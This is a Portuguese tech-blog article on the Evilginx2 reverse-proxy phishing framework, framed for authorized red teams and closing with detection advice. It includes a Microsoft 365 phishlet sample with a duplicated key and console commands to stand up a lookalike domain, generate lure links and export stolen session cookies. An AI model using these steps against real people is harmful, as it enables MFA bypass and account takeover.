Evilginx2: o framework de phishing que derruba o MFA com reverse proxy

Ferramenta

Evilginx2: o framework de phishing que derruba o MFA com reverse proxy

Rodrigo ColissiRodrigo Colissi
28 de setembro de 202613 min de leitura—
PentestThreat IntelligenceRedes

O que é

O Evilginx2 é um framework de phishing baseado em reverse proxy (servidor intermediário que recebe requisições de um cliente e as encaminha para outro servidor, fazendo o caminho inverso no retorno) que permite capturar credenciais de login e — mais importante — tokens de sessão em tempo real, contornando a autenticação multifator (MFA). Criado e mantido por Kuba Gretzky (@mrgretzky), é um projeto open-source sob licença BSD-3 com mais de 15.700 estrelas no GitHub e versão estável atual na 3.3.x.

Diferente de páginas de phishing estáticas que só coletam o que o usuário digita, o Evilginx2 se posiciona entre a vítima e o serviço legítimo — uma técnica conhecida como adversary-in-the-middle (AiTM) (intermediário no meio do caminho, que espelha o tráfego entre vítima e serviço real). O framework deixa o site real processar a autenticação completa (senha + código MFA + possíveis notificações push) e, no instante em que o servidor devolve o cookie de sessão autenticado, copia esse cookie antes de entregá-lo ao navegador da vítima. Com o token em mãos, o atacante reutiliza a sessão sem precisar refazer o login — o MFA já foi validado pelo serviço legítimo e o atacante herda uma sessão já autenticada.

No ecossistema de segurança ofensiva, o Evilginx2 ocupa o mesmo nicho de ferramentas como Modlishka e ReelPhish, mas se destaca pelo ecossistema de phishlets — arquivos YAML modulares que definem como interceptar cada alvo — e pela integração nativa com geração automática de certificados TLS via Let's Encrypt, o que torna cada instância operacional em minutos sem depender de nginx ou Apache.

Principais características

CaracterísticaDescrição
Reverse proxy AiTMPosiciona-se entre vítima e servidor real, espelhando todo o tráfego e capturando credenciais + cookies de sessão
Phishlets YAML modularesArquivos de configuração que definem o comportamento de interceptação para cada serviço alvo (Microsoft 365, Google, Instagram, LinkedIn, etc.)
TLS nativoCertificados automáticos via Let's Encrypt (certmagic); suporte a certificados customizados e wildcard
Captura em tempo realSenha, código MFA, cookie de sessão — tudo capturado no momento em que a vítima autentica
Integração com GoPhishSuporte oficial a campanhas de phishing com rastreamento de abertura, clique e captura
Redirectors flexíveisSuporte a redirecionadores customizados (302, meta refresh, Cloudflare Turnstile)
Blacklist de IPsBloqueio automático de scanners e requests não-autorizados
Multi-domínioSuporte a múltiplos phishlets e domínios simultaneamente na mesma instância
Docker e bare-metalPode rodar via contêiner Docker ou compilado diretamente no servidor
CLI interativaConsole próprio com autocomplete, histórico e comandos de configuração em tempo real

Como funciona

A mecânica do Evilginx2 pode ser resumida em cinco etapas que acontecem em segundos durante o fluxo de login da vítima.

Fluxo de captura AiTM

Vítima acessadomínio falsoEvilginx2proxy reversoSite legítimologin.microsoft.comCookie roubadosessão reutilizada

Etapa 1 — Configuração do domínio falso. O atacante registra um domínio que imita o visual do serviço alvo (ex.: secure-login-microsoft.com) e aponta o DNS para o IP do servidor onde o Evilginx2 está rodando. O framework obtém automaticamente um certificado TLS válido via Let's Encrypt para esse domínio, eliminando o alerta de certificado inválido no navegador da vítima.

Etapa 2 — Proxy reverso ativado. Quando a vítima acessa o domínio falso, o Evilginx2 recebe a requisição, decodifica o TLS, aplica as regras do phishlet (substituindo URLs, injetando JavaScript, ajustando cabeçalhos) e encaminha a requisição para o serviço legítimo. A resposta do servidor real percorre o caminho inverso — o tráfego da vítima para o site real passa integralmente pelo proxy.

Etapa 3 — Captura de credenciais. No momento em que a vítima digita o usuário e a senha no formulário de login espelhado, o Evilginx2 intercepta os parâmetros POST e os armazena em disco, no diretório ~/.evilginx/crt/sessions/. O fluxo de autenticação continua normalmente — a senha é enviada para o servidor legítimo, que a valida contra o diretório de identidade.

Etapa 4 — Captura do cookie de sessão. A vítima é desafiada pelo segundo fator (SMS, TOTP, notificação push ou até chave FIDO2, dependendo do phishlet). Após completar o MFA com sucesso no site legítimo, o servidor emite um cookie de sessão (como o ESTSAUTH do Azure AD ou o SID do Google). O Evilginx2 copia esse cookie antes de retorná-lo ao navegador da vítima, registrando-o no log de sessões.

Etapa 5 — Reuso da sessão. Com o cookie de sessão roubado, o atacante importa o token para o próprio navegador (via extensão como Cookie-Editor ou EditThisCookie) e acessa a conta da vítima sem precisar de senha ou MFA — a sessão já foi autenticada e o serviço entende que o token ainda é válido.

A arquitetura dos phishlets

Cada phishlet é um arquivo YAML que descreve como o Evilginx2 deve se comportar diante de um serviço específico. A estrutura típica inclui:

# Exemplo conceitual de phishlet (Microsoft 365)
name: "office365"
author: "kgretzky"
 
# Subdomínio do proxy que será criado
min_ver: "3.0"
 
# Hosts a serem interceptados
proxy_hosts:
  - {phish_sub: "login", orig_sub: "login", domain: "microsoftonline.com", session: true}
  - {phish_sub: "www", orig_sub: "www", domain: "office.com", session: false}
 
# Parâmetros POST a capturar
auth_tokens:
  - method: "POST"
    domain: "login.microsoftonline.com"
    path: "/common/oauth2/v2.0/token"
 
# Cookies a capturar
auth_tokens:
  - domain: ".login.microsoftonline.com"
    keys: ["ESTSAUTH", "ESTSAUTHPERSISTENT"]
 
# Substituições de URL no HTML/JS
sub_filters:
  - {triggers_on: "login.microsoftonline.com", orig_sub: "login", domain: "microsoftonline.com", search: "login.microsoftonline.com", replace: "login.secure-login-microsoft.com"}

Os phishlets definem quatro categorias de regras: proxy_hosts (mapeamento entre o domínio falso e o real), auth_tokens (parâmetros/cookies a capturar), sub_filters (substituições de URL no HTML e JavaScript devolvido ao cliente) e js_inject (código JavaScript customizado injetado na página espelhada, usado para preencher campos de forma personalizada).

Casos de uso práticos

Teste de phishing corporativo com Evilginx2 + GoPhish

Este cenário simula um teste de penetração autorizado em que a equipe de red team avalia a resistência dos funcionários a ataques de phishing com bypass de MFA.

Configuração inicial do servidor.

O primeiro passo é configurar o domínio, o IP público e carregar o phishlet desejado no console interativo do Evilginx2:

# Acessar o console do Evilginx2
evilginx2
 
# Configurar o domínio de phishing
: config domain secure-login-empresa.com
 
# Configurar o IP público do servidor
: config ip 203.0.113.10
 
# Verificar se o certificado TLS foi obtido (automático via Let's Encrypt)
: config

Ativação do phishlet.

# Listar phishlets disponíveis
: phishlets
 
# Associar o phishlet 'o365' a um hostname
: phishlets hostname o365 login.secure-login-empresa.com
 
# Ativar o phishlet
: phishlets enable o365
 
# Verificar status dos phishlets ativos
: phishlets

Criação do lure (URL de phishing).

# Criar um novo lure para o phishlet o365
: lures create o365
 
# Listar lures criados com suas URLs
: lures
 
# Obter a URL completa do lure específico (ID 0)
: lures get-url 0

A URL gerada segue o formato https://login.secure-login-empresa.com/<path_aleatorio>. Esta URL é o link que será enviado aos funcionários durante o simulado.

Integração com GoPhish.

Quando integrado ao GoPhish (versão forkada), o Evilginx2 notifica a plataforma sobre três eventos: abertura do e-mail (tracker invisível), clique no link de phishing e captura bem-sucedida da sessão.

# Configurar integração com GoPhish no console do Evilginx2
: config gophish admin_url https://1.2.3.4:3333
: config gophish api_key c60e5bce24856c2c473c4560772
 
# Testar a comunicação com o GoPhish
: config gophish test

Monitoramento das sessões capturadas.

# Listar todas as sessões capturadas
: sessions
 
# Visualizar detalhes de uma sessão específica (ID do phishlet + ID da sessão)
: sessions o365
 
# Exportar cookies de uma sessão para reuso
: sessions o365 0

Após a captura, o cookie pode ser importado no navegador para acessar a conta comprometida sem autenticação:

# Exemplo: extrair o cookie ES TS AUTH para uso no navegador
# O Evilginx2 salva os cookies em ~/.evilginx/crt/sessions/o365/
cat ~/.evilginx/crt/sessions/o365/session_0.json

O arquivo JSON contém o nome, valor, domínio e flags de segurança do cookie — pronto para ser importado em extensões de gerenciamento de cookies no navegador.

Download e instalação

O Evilginx2 é distribuído exclusivamente como código-fonte no GitHub oficial do projeto. A instalação padrão exige Go 1.21+ e um servidor Linux (Debian/Ubuntu recomendado) com porta 443 disponível.

Instalação via Go (recomendada):

# Clonar o repositório
git clone https://github.com/kgretzky/evilginx2.git
cd evilginx2
 
# Compilar
make
 
# (Alternativa) Instalar diretamente com Go
go install github.com/kgretzky/evilginx2@latest

Instalação via Docker:

# Construir a imagem
docker build -t evilginx2 .
 
# Executar o contêiner (porta 443 mapeada)
docker run -it -p 443:443 -p 80:80 evilginx2

Pré-requisitos do servidor:

  • Portas 80 e 443 liberadas no firewall
  • DNS apontando o domínio de phishing para o IP do servidor
  • Go 1.21 ou superior (para compilação)
  • Acesso root ou sudo (bind de portas privilegiadas)

A documentação oficial completa, incluindo guias de phishlets e solução de problemas, está disponível em help.evilginx.com.

Conclusão

O Evilginx2 representou um salto qualitativo nas ferramentas de phishing ao atacar não a senha, mas a prova de que o usuário passou pelo MFA. Ao se posicionar como intermediário entre vítima e serviço legítimo, o framework captura o cookie de sessão autenticado — um artefato que o MFA existe justamente para proteger. A adoção da técnica já gerou operações reais como o BigBear 2.0, que comprometeu mais de 258 organizações usando exatamente essa mecânica, e campanhas mais recentes de passkey phishing com device-code flow.

Para times de segurança ofensiva, o Evilginx2 é uma ferramenta legítima e poderosa para testar a resiliência de organizações contra ataques de phishing avançados. Para times de defesa, entender seu funcionamento é o primeiro passo para implementar as contramedidas certas — como FIDO2/WebAuthn com binding a hardware específico, políticas de conditional access e monitoramento de sessões suspeitas via logs de identidade.

A ferramenta é open-source, ativamente mantida e possui uma comunidade sólida. Como toda ferramenta de segurança ofensiva, seu valor ético depende do uso: em mãos autorizadas, expõe vulnerabilidades antes que atacantes as explorem.

Perguntas frequentes

O Evilginx2 é ilegal?

Não. O Evilginx2 é uma ferramenta open-source legítima para testes de penetração e simulações de phishing autorizadas. O uso malicioso (sem consentimento do alvo) é ilegal e de responsabilidade exclusiva do operador, não da ferramenta ou do desenvolvedor.

Qual a diferença entre Evilginx2 e um phishing convencional?

Phishing convencional usa uma página estática que coleta apenas o que o usuário digita (usuário e senha). O Evilginx2 atua como proxy reverso em tempo real: ele repassa o tráfego para o site legítimo, captura a senha E o cookie de sessão que o servidor emite após o MFA. Com o cookie, o atacante não precisa de senha ou código MFA para acessar a conta.

O Evilginx2 consegue burlar qualquer tipo de MFA?

O framework captura o cookie de sessão emitido após a conclusão do MFA — portanto, burla qualquer fator cujo resultado seja a emissão de um token de sessão (SMS, TOTP, notificação push, e-mail de verificação). A exceção parcial são chaves FIDO2/WebAuthn com resident credential e origin binding, que amarram a chave ao domínio legítimo — embora phishlets possam tentar contornar via ataque de device-code flow.

Preciso de um servidor potente para rodar o Evilginx2?

Não. Uma VPS com 1 vCPU, 1 GB de RAM e 10 GB de disco é suficiente para rodar dezenas de phishlets simultaneamente. O Evilginx2 é leve porque atua como proxy — o processamento pesado de TLS fica a cargo da CPU, mas mesmo instâncias de baixo custo (US$ 5/mês) conseguem operar sem degradação perceptível.

O que são phishlets?

Phishlets são arquivos de configuração no formato YAML que definem como o Evilginx2 deve interceptar um serviço específico. Cada phishlet mapeia os hosts de origem e destino, os parâmetros POST a capturar, os cookies de sessão a roubar, as substituições de URL no HTML e os scripts JavaScript a injetar. A comunidade mantém phishlets públicos para Microsoft 365, Google, Instagram, LinkedIn, Facebook, Twitter/X, entre outros.

Como detectar um ataque Evilginx2?

Os sinais mais comuns incluem: domínios com nome suspeito (grafias parecidas com o serviço real), certificados TLS emitidos há poucos dias (consulte a transparência do Let's Encrypt), ausência do header HSTS no domínio falso, redirecionamento após o login (a vítima é mandada para uma página de erro ou para o site real) e requisições para paths que incluem parâmetros de lure no URL. Ferramentas como urlscan.io ajudam a catalogar domínios suspeitos.

O Evilginx2 funciona contra FIDO2/WebAuthn?

Depende. O FIDO2 com resident credential e origin binding estrito (passkey atrelada ao domínio legítimo) impede o proxy de reutilizar a mesma chave — o navegador detecta que o origin não corresponde. No entanto, o Evilginx2 pode desviar do fluxo WebAuthn usando device-code flow (fluxo de código de dispositivo), em que a vítima autoriza manualmente em outro dispositivo. Essa variante foi documentada em campanhas recentes de passkey phishing.

Qual a diferença entre Evilginx2 e Modlishka?

Ambos são frameworks de phishing com reverse proxy, mas o Evilginx2 se destaca pelo ecossistema de phishlets modulares (YAML), pela integração nativa com GoPhish e pela comunidade ativa. O Modlishka é mais focada em automação de detecção de fluxos de login e não possui o mesmo nível de documentação e suporte comunitário. O Evilginx2 também oferece geração automática de TLS e redirectors flexíveis.

Fontes e leituras adicionais

Gostou? Receba novos conteúdos por e-mail.

Entre na comunidade

Discussões técnicas e novidades em primeira mão.